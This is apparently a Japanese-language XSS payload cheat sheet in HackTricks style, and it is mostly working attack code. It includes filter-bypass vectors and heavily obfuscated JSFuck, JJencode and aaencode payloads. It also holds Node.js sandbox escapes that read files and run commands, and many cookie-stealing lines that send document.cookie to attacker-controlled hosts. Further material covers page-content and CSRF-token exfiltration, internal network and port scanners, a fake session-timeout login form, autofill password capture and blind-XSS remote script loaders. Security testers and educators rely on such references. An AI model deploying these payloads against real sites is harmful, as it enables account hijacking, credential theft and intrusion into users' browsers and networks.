<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302レスポンスでのヘッダーインジェクションを利用したXSS

もし302リダイレクトレスポンスにヘッダーをインジェクトできることがわかった場合、ブラウザに任意のJavaScriptを実行させることを試みることができます。これは簡単ではありません。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは役に立ちません。

このレポートこのレポートでは、Locationヘッダー内でいくつかのプロトコルをテストし、その中でブラウザがボディ内のXSSペイロードを検査し、実行することを許可するものがあるかどうかを読むことができます。
過去に知られているプロトコルには、mailto://, //x:1/, ws://, wss://, 空のLocationヘッダー, resource://があります。

文字、数字、ドットのみ

もしコールバックを指定できて、それが上記の文字に限定されている場合、この投稿のこのセクションを読んで、この振る舞いをどのように悪用するかを見つけてください。

XSSに有効な<script>のContent-Types

(こちらから) もしapplication/octet-streamのようなcontent-typeでスクリプトをロードしようとすると、Chromeは以下のエラーを表示します

Refused to execute script from https://uploader.c.hc.lc/uploads/xxx' because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.

Chromeがロードされたスクリプトを実行することをサポートする唯一のContent-Typeは、https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.ccからのconst kSupportedJavascriptTypes 内にあるものです。

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSSにおけるスクリプトタイプ

こちらより)スクリプトを読み込むために指定できるタイプはどれですか?

<script type="???"></script>
* **モジュール** (デフォルト、説明不要)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、多くのデータHTML, CSS, JS…を一つの**`.wbn`**ファイルにパッケージ化できる機能です。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: インポート構文を改善することができます
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

この挙動は、このライトアップでライブラリをevalにリマップして、それを悪用しXSSを引き起こすために使用されました。

  • speculationrules: この機能は主にプリレンダリングによって引き起こされるいくつかの問題を解決するためにあります。動作は以下の通りです:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Web Content-TypesをXSSに利用する

こちらより以下のコンテンツタイプは、すべてのブラウザでXSSを実行できます

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
  • application/rss+xml (オフ)
  • application/atom+xml (オフ)

他のブラウザでは、任意のJSを実行するために他の**Content-Types**を使用できます。詳細はこちらをチェックしてください:https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xmlコンテンツタイプ

ページがtext/xmlコンテンツタイプを返している場合、名前空間を指定して任意のJSを実行することが可能です

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特殊置換パターン

"some {{template}} data".replace("{{template}}", <user_input>) のようなものが使用される場合、攻撃者は特殊な文字列の置換を利用して保護を回避しようとするかもしれません: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

例えば、このライトアップでは、スクリプト内のJSON文字列をエスケープして任意のコードを実行するためにこれが使用されました。

ChromeキャッシュからのXSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XSジェイル脱出

使用できる文字が限られている場合は、XSJailの問題に対する他の有効な解決策を確認してください

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

すべてが未定義である場合、信頼できないコードを実行する前に(このライトアップのように)、"何もないところから"有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:

  • import() を使用して
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • requireを間接的にアクセスする

これによると、モジュールはNode.jsによって次のように関数でラップされます。

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

したがって、そのモジュールから別の関数を呼び出すことができれば、その関数からarguments.callee.caller.arguments[1]を使用して**require**にアクセスすることが可能です。

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

前の例と同様に、エラーハンドラーを使用してモジュールのラッパーにアクセスし、require 関数を取得することが可能です:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

難読化 & 高度なバイパス

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS 一般的なペイロード

複数のペイロードを1つに

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

クッキーの取得

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません。しかし、運が良ければこの保護をバイパスするいくつかの方法があります。 {% endhint %}

ページ内容の盗み取り

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

内部IPを見つける

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

ポートスキャナー (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

ポートスキャナー (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

短い時間は、ポートが応答していることを示します 長い時間は、応答がないことを示します。

Chromeで禁止されているポートのリストはこちら、Firefoxではこちらを確認してください。

資格情報を求めるボックス

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

自動入力パスワードのキャプチャ

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

パスワードフィールドに任意のデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択して何も書かなくても、資格情報は外部に漏れます。

キーロガー

GitHubで検索すると、いくつか異なるものが見つかりました

CSRFトークンの盗難

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessageメッセージの盗み取り

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

サービスワーカーの悪用

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Shadow DOMへのアクセス

{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}

ポリグロット

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Blind XSSペイロード

以下も使用できます: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - 隠されたコンテンツへのアクセス

このライトアップから、JSからいくつかの値が消えても、異なるオブジェクトのJS属性でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、regexの入力値が削除された後でも見つけることができます

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

ブルートフォースリスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

他の脆弱性を悪用するXSS

Markdown内のXSS

Markdownコードを注入してレンダリングされるかもしれませんかもしそうなら、XSSを得ることができるかもしれません確認してください

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSSからSSRFへ

キャッシングを使用するサイトでXSSを得ましたかこのペイロードを使用してEdge Side Include Injectionを通じてSSRFにアップグレードを試みてください:

<esi:include src="http://yoursite.com/capture" />

クッキーの制限やXSSフィルターなどを回避するために使用します この技術についての詳細はこちら:XSLT

動的に作成されたPDF内のXSS

ユーザーがコントロールする入力を使用してPDFを作成するWebページがある場合、PDFを作成するボットをだまして任意のJSコードを実行させることができます。 したがって、PDF作成ボットがHTMLタグを見つけると、それらを解釈し、サーバーXSSを引き起こすためにこの振る舞いを悪用することができます。

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

HTMLタグを注入できない場合は、PDFデータを注入することを試みる価値があります:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

